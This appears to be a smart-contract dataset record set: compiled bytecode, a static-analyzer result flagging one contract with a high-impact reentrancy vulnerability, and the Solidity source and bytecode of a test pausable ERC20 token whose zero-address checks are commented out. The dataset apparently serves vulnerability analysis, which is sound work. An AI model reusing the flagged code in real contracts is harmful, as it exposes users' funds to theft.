000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611695565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126aa95949392919061370d565b600060405180830381600087803b1580156126c457600080fd5b505af11580156126d8573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127095761270861279d565b5b6127148484846127e0565b80612722576127216129ab565b5b50505050565b600061276a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129bf565b905092915050565b600080600061277f612a22565b91509150612796818361272890919063ffffffff16565b9250505090565b6000600d541480156127b157506000600e54145b156127bb576127de565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f287612a81565b95509550955095509550955061285086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293181612b91565b61293b8483612c4e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299891906136f2565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fd9190613510565b60405180910390fd5b5060008385612a15919061387e565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612a56670de0b6b3a764000060065461272890919063ffffffff16565b821015612a7457600654670de0b6b3a7640000935093505050612a7d565b81819350935050505b9091565b6000806000806000806000806000612a9e8a600d54600e54612c88565b9250925092506000612aae612772565b90506000806000612ac18e878787612d1e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612234565b905092915050565b6000808284612b429190613828565b905083811015612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e90613612565b60405180910390fd5b8091505092915050565b6000612b9b612772565b90506000612bb28284612da790919063ffffffff16565b9050612c0681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6382600654612ae990919063ffffffff16565b600681905550612c7e81600754612b3390919063ffffffff16565b6007819055505050565b600080600080612cb46064612ca6888a612da790919063ffffffff16565b61272890919063ffffffff16565b90506000612cde6064612cd0888b612da790919063ffffffff16565b61272890919063ffffffff16565b90506000612d0782612cf9858c612ae990919063ffffffff16565b612ae990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d378589612da790919063ffffffff16565b90506000612d4e8689612da790919063ffffffff16565b90506000612d658789612da790919063ffffffff16565b90506000612d8e82612d808587612ae990919063ffffffff16565b612ae990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dba5760009050612e1c565b60008284612dc891906138af565b9050828482612dd7919061387e565b14612e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0e90613632565b60405180910390fd5b809150505b92915050565b6000612e35612e30846137a7565b613782565b90508083825260208201905082856020860282011115612e5457600080fd5b60005b85811015612e845781612e6a8882612e8e565b845260208401935060208301925050600181019050612e57565b5050509392505050565b600081359050612e9d81613ef3565b92915050565b600081519050612eb281613ef3565b92915050565b60008083601f840112612eca57600080fd5b8235905067ffffffffffffffff811115612ee357600080fd5b602083019150836020820283011115612efb57600080fd5b9250929050565b600082601f830112612f1357600080fd5b8135612f23848260208601612e22565b91505092915050565b600081359050612f3b81613f0a565b92915050565b600081359050612f5081613f21565b92915050565b600060208284031215612f6857600080fd5b6000612f7684828501612e8e565b91505092915050565b600060208284031215612f9157600080fd5b6000612f9f84828501612ea3565b91505092915050565b60008060408385031215612fbb57600080fd5b6000612fc985828601612e8e565b9250506020612fda85828601612e8e565b9150509250929050565b600080600060608486031215612ff957600080fd5b600061300786828701612e8e565b935050602061301886828701612e8e565b925050604061302986828701612f41565b9150509250925092565b6000806040838503121561304657600080fd5b600061305485828601612e8e565b925050602061306585828601612f41565b9150509250929050565b60008060006040848603121561308457600080fd5b600084013567ffffffffffffffff81111561309e57600080fd5b6130aa86828701612eb8565b935093505060206130bd86828701612f2c565b9150509250925092565b6000602082840312156130d957600080fd5b600082013567ffffffffffffffff8111156130f357600080fd5b6130ff84828501612f02565b91505092915050565b60006020828403121561311a57600080fd5b600061312884828501612f2c565b91505092915050565b60006020828403121561314357600080fd5b600061315184828501612f41565b91505092915050565b6000806000806080858703121561317057600080fd5b600061317e87828801612f41565b945050602061318f87828801612f41565b93505060406131a087828801612f41565b92505060606131b187828801612f41565b91505092959194509250565b60006131c983836131d5565b60208301905092915050565b6131de8161393d565b82525050565b6131ed8161393d565b82525050565b60006131fe826137e3565b6132088185613806565b9350613213836137d3565b8060005b8381101561324457815161322b88826131bd565b9750613236836137f9565b925050600181019050613217565b5085935050505092915050565b61325a8161394f565b82525050565b61326981613992565b82525050565b613278816139b6565b82525050565b6000613289826137ee565b6132938185613817565b93506132a38185602086016139c8565b6132ac81613b02565b840191505092915050565b60006132c4602383613817565b91506132cf82613b13565b604082019050919050565b60006132e7603f83613817565b91506132f282613b62565b604082019050919050565b600061330a602a83613817565b915061331582613bb1565b604082019050919050565b600061332d601c83613817565b915061333882613c00565b602082019050919050565b6000613350602683613817565b915061335b82613c29565b604082019050919050565b6000613373602283613817565b915061337e82613c78565b604082019050919050565b6000613396602383613817565b91506133a182613cc7565b604082019050919050565b60006133b9601b83613817565b91506133c482613d16565b602082019050919050565b60006133dc602183613817565b91506133e782613d3f565b604082019050919050565b60006133ff602083613817565b915061340a82613d8e565b602082019050919050565b6000613422602983613817565b915061342d82613db7565b604082019050919050565b6000613445602583613817565b915061345082613e06565b604082019050919050565b6000613468602383613817565b915061347382613e55565b604082019050919050565b600061348b602483613817565b915061349682613ea4565b604082019050919050565b6134aa8161397b565b82525050565b6134b981613985565b82525050565b60006020820190506134d460008301846131e4565b92915050565b60006020820190506134ef6000830184613251565b92915050565b600060208201905061350a6000830184613260565b92915050565b6000602082019050818103600083015261352a818461327e565b905092915050565b6000602082019050818103600083015261354b816132b7565b9050919050565b6000602082019050818103600083015261356b816132da565b9050919050565b6000602082019050818103600083015261358b816132fd565b9050919050565b600060208201905081810360008301526135ab81613320565b9050919050565b600060208201905081810360008301526135cb81613343565b9050919050565b600060208201905081810360008301526135eb81613366565b9050919050565b6000602082019050818103600083015261360b81613389565b9050919050565b6000602082019050818103600083015261362b816133ac565b9050919050565b6000602082019050818103600083015261364b816133cf565b9050919050565b6000602082019050818103600083015261366b816133f2565b9050919050565b6000602082019050818103600083015261368b81613415565b9050919050565b600060208201905081810360008301526136ab81613438565b9050919050565b600060208201905081810360008301526136cb8161345b565b9050919050565b600060208201905081810360008301526136eb8161347e565b9050919050565b600060208201905061370760008301846134a1565b92915050565b600060a08201905061372260008301886134a1565b61372f602083018761326f565b818103604083015261374181866131f3565b905061375060608301856131e4565b61375d60808301846134a1565b9695505050505050565b600060208201905061377c60008301846134b0565b92915050565b600061378c61379d565b905061379882826139fb565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c2576137c1613ad3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138338261397b565b915061383e8361397b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387357613872613a75565b5b828201905092915050565b60006138898261397b565b91506138948361397b565b9250826138a4576138a3613aa4565b5b828204905092915050565b60006138ba8261397b565b91506138c58361397b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138fe576138fd613a75565b5b828202905092915050565b60006139148261397b565b915061391f8361397b565b92508282101561393257613931613a75565b5b828203905092915050565b60006139488261395b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061399d826139a4565b9050919050565b60006139af8261395b565b9050919050565b60006139c18261397b565b9050919050565b60005b838110156139e65780820151818401526020810190506139cb565b838111156139f5576000848401525b50505050565b613a0482613b02565b810181811067ffffffffffffffff82111715613a2357613a22613ad3565b5b80604052505050565b6000613a378261397b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6a57613a69613a75565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613efc8161393d565b8114613f0757600080fd5b50565b613f138161394f565b8114613f1e57600080fd5b50565b613f2a8161397b565b8114613f3557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205e5219decdc62fc97ddc339e28a46d38df4b0fb9b93673826fa5c8955fb4d88364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,602 |
0xfb2afd94e54f74376e2af2b8bd386eabe9f24a7d
|
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'TEST Poolin Miner Token' token contract
//
// Symbol : TEST-POOLIN / PIN
// Name : TEST Poolin Miner Token
// Total supply: 2100000000
// Decimals : 6
//
// (c) poolin.com, 2018-07
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Basic.sol
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf (address who) public view returns (uint256);
function transfer (address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BasicToken.sol
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
//require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20.sol
*/
contract ERC20 is ERC20Basic {
function allowance (address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve (address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
//require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/lifecycle/Pausable.sol
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// ----------------------------------------------------------------------------
contract PoolinTestToken is PausableToken {
string public constant name = "TEST Poolin Miner Token";
string public constant symbol = "TEST-POOLIN";
uint8 public constant decimals = 6;
// total supply: 21*10^8
uint256 public constant K_INITIAL_SUPPLY = uint256(2100000000) * (uint256(10) ** decimals);
/**
* Token Constructor
*
*/
constructor() public {
totalSupply_ = K_INITIAL_SUPPLY;
balances[msg.sender] = K_INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, K_INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a65780633f4ba83a146102d75780635c975abb146102ee578063661884631461031d57806370a0823114610382578063715018a6146103d95780638456cb59146103f05780638da5cb5b1461040757806395d89b411461045e578063a9059cbb146104ee578063d73dd62314610553578063dd62ed3e146105b8578063f2fde38b1461062f578063fc26088e14610672575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d6565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610706565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610710565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610742565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610747565b005b3480156102fa57600080fd5b50610303610807565b604051808215151515815260200191505060405180910390f35b34801561032957600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081a565b604051808215151515815260200191505060405180910390f35b34801561038e57600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061084a565b6040518082815260200191505060405180910390f35b3480156103e557600080fd5b506103ee610892565b005b3480156103fc57600080fd5b50610405610997565b005b34801561041357600080fd5b5061041c610a58565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046a57600080fd5b50610473610a7e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b3578082015181840152602081019050610498565b50505050905090810190601f1680156104e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104fa57600080fd5b50610539600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab7565b604051808215151515815260200191505060405180910390f35b34801561055f57600080fd5b5061059e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae7565b604051808215151515815260200191505060405180910390f35b3480156105c457600080fd5b50610619600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b17565b6040518082815260200191505060405180910390f35b34801561063b57600080fd5b50610670600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9e565b005b34801561067e57600080fd5b50610687610c06565b6040518082815260200191505060405180910390f35b6040805190810160405280601781526020017f5445535420506f6f6c696e204d696e657220546f6b656e00000000000000000081525081565b6000600360149054906101000a900460ff161515156106f457600080fd5b6106fe8383610c17565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561072e57600080fd5b610739848484610d09565b90509392505050565b600681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107a357600080fd5b600360149054906101000a900460ff1615156107be57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561083857600080fd5b6108428383611088565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ee57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f357600080fd5b600360149054906101000a900460ff16151515610a0f57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600b81526020017f544553542d504f4f4c494e00000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ad557600080fd5b610adf8383611319565b905092915050565b6000600360149054906101000a900460ff16151515610b0557600080fd5b610b0f83836114fd565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bfa57600080fd5b610c03816116f9565b50565b600660ff16600a0a637d2b75000281565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de357600080fd5b610e34826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611199576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061122d565b6111ac83826117f590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808281526